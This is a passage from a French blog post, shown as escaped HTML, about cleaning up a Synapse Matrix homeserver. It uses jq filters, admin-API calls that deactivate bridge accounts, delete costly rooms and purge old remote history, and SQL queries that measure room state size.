&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;users.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.users[] | select(.name) | select(.name|test(&quot;_ezbr_:deuxfleurs.fr$&quot;)) | .name&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; users_to_delete.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;users.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.users[] | select(.name) | select(.name|test(&quot;^@_ezbr_&quot;)) | .name&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; users_to_delete.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Il ne reste plus alors qu’à appeler l’API de Synapse :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;users_to_delete.txt &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;u&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
      &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;delete &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
      mctl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%{http_code}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{&quot;erase&quot;: true}&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        https://synapse.tld/_synapse/admin/v1/deactivate/&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;done &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Après que mon nettoyage utilisateur soit terminé, je suis passé du côté des salons.
J’ai commencé par référencer les salons vides :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.rooms[] | select(.joined_local_members == 0) | .room_id&apos;&lt;/span&gt;  &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; rooms_to_delete.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite je me suis occupé de Easybridge : en effet, il ne créait pas seulement des comptes mais aussi des salons.
Là aussi, il m’a fallu chercher différents motifs pour repérer les salons, ce qui a nécessité plusieurs requêtes :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.rooms[] | select(.canonical_alias) | select(.canonical_alias|test(&quot;_ezbr_:deuxfleurs.fr$&quot;)) | .room_id&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; rooms_to_delete.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.rooms[] | select(.creator) | select(.creator|test(&quot;_ezbr_:deuxfleurs.fr$&quot;)) | .room_id&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; rooms_to_delete.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.rooms[] | select(.creator) | select(.creator|test(&quot;^@_ezbr_&quot;)) | .room_id&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; rooms_to_delete.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enfin, bien que nous n’avions pas prévu à l’origine de supprimer des salons auxquelles nous participions encore,
il est apparu que certains étaient particulièrement couteux à suivre. Cette information n’est pas disponible via l’API,
cependant à l’aide de requêtes SQL plus loin, nous avons déterminé que les 6 salons suivants étaient trop couteux à suivre pour nous (Matrix HQ, Matrix HQ (old), Arch Linux (old), tor, openwrt et fedora-devel) :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; rooms_to_delete.txt &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
!OGEhHVWSdvArJzumhm:matrix.org 
!mpvDHdMSZHzhzEDirR:matrix.org
!QtykxKocfZaZOUrTwp:matrix.org
!gVMacPcvhtqaEfaANo:matrix.org
!SEgsRQLScqPxYtucHl:archlinux.org
!MqVoatBTzkpWvekEvo:matrix.org
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Maintenant que notre liste est complète, on peut supprimer les salons (l’API est synchrone) :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms_to_delete.txt &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;r&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;delete &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$r&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
    mctl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%{http_code}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; DELETE &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{&quot;purge&quot;: true}&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
      https://synapse.tld/_synapse/admin/v1/rooms/&lt;span class=&quot;nv&quot;&gt;$r&lt;/span&gt; 
  &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour les salons qui restent, nous voulons limiter l’historique des contenus distants (c’est à dire des messages postés par les internautes ayant un compte rattaché à un autre serveur que le notre) à seulement deux mois. Si on veut remonter plus loin, on peut simplement redemander leur historique à leur serveur d’accueil.&lt;/p&gt;

&lt;p&gt;Cette fois-ci l’API est asynchrone et on ne veut pas surcharger le serveur : on va surveiller la suppression courante avant d’en lancer une autre.
On veut aussi retélécharger la liste des salons avant de commencer car elle a bien changé : on en a supprimé beaucoup juste avant !&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mctl &lt;span class=&quot;s1&quot;&gt;&apos;https://synapse.tld/_synapse/admin/v1/rooms?limit=10000&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; rooms.json

&lt;span class=&quot;c&quot;&gt;#                    c&apos;est ici qu&apos;on définit le deux mois VVVVVVVVVVVV&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MX_UNIX_TIMESTAMP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt; +%s%3N &lt;span class=&quot;nt&quot;&gt;--date&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TZ=&quot;UTC+2&quot; 2 months ago&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;rooms.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.rooms[] | .room_id&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  | &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;room&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
      &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;JOB_ID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;mctl &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;delete_local_events&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: false, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;purge_up_to_ts&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$MX_UNIX_TIMESTAMP&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://synapse.tld/_synapse/admin/v1/purge_history/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$room&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.purge_id&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Purge &lt;span class=&quot;nv&quot;&gt;$room&lt;/span&gt;, job &lt;span class=&quot;nv&quot;&gt;$JOB_ID&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;STATUS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;mctl &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://synapse.tld/_synapse/admin/v1/purge_history_status/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$JOB_ID&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;.status&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Purge &lt;span class=&quot;nv&quot;&gt;$room&lt;/span&gt;, job &lt;span class=&quot;nv&quot;&gt;$JOB_ID&lt;/span&gt;, status &lt;span class=&quot;nv&quot;&gt;$STATUS&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$STATUS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;complete&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi
        if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$STATUS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;null&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sleep &lt;/span&gt;10
      &lt;span class=&quot;k&quot;&gt;done
    done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;finir-par-mettre-les-mains-dans-le-sql&quot;&gt;Finir par mettre les mains dans le SQL&lt;/h2&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PGPASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;???&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;alias &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mpsql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;psql -h 127.0.0.1 -U matrix synapse&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour avoir une idée de ce “coût”, nous avons du passer par SQL (attention les commandes mettent beaucoup de temps à s’exécuter).&lt;/p&gt;

&lt;p&gt;Cette première commande permet d’avoir le nombre ???
Vous pouvez adapter la limite pour afficher plus de&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;room_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;count&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;state_groups_state&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;GROUP&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;room_id&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;DESC&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- Result (the last column has been added by me):&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !OGEhHVWSdvArJzumhm:matrix.org    | 51203310 | matrix HQ &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !mpvDHdMSZHzhzEDirR:matrix.org    | 19954563 | tor&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !QtykxKocfZaZOUrTwp:matrix.org    | 14727741 | Matrix HQ&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !gVMacPcvhtqaEfaANo:matrix.org    | 11356723 | fedora-devel&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !SEgsRQLScqPxYtucHl:archlinux.org |  5326554 | Arch Linux (old)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- !MqVoatBTzkpWvekEvo:matrix.org    |  2961032 | #openwrt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cette commande est plus rapide, c’est elle aussi qui est utilisée en interne pour calculer une complexité arbitraire pour les salons :&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;room_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;current_state_events&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;room_stats_current&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;LEFT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;JOIN&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;room_stats_state&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;room_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_state_events&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;DESC&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Matrix&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HQ&lt;/span&gt;                      &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OGEhHVWSdvArJzumhm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;matrix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;57475&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;openwrt&lt;/span&gt;                       &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MqVoatBTzkpWvekEvo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;matrix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;16083&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Arch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Linux&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;               &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEgsRQLScqPxYtucHl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;archlinux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;15718&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Yggdrasil&lt;/span&gt;                      &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmKuvGvRKciqyFcxv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;matrix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                 &lt;span class=&quot;mi&quot;&gt;3462&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Synapse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Announcements&lt;/span&gt;          &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;qBFNwucQebGPQldAnq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;matrix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                 &lt;span class=&quot;mi&quot;&gt;2755&lt;/span&gt;
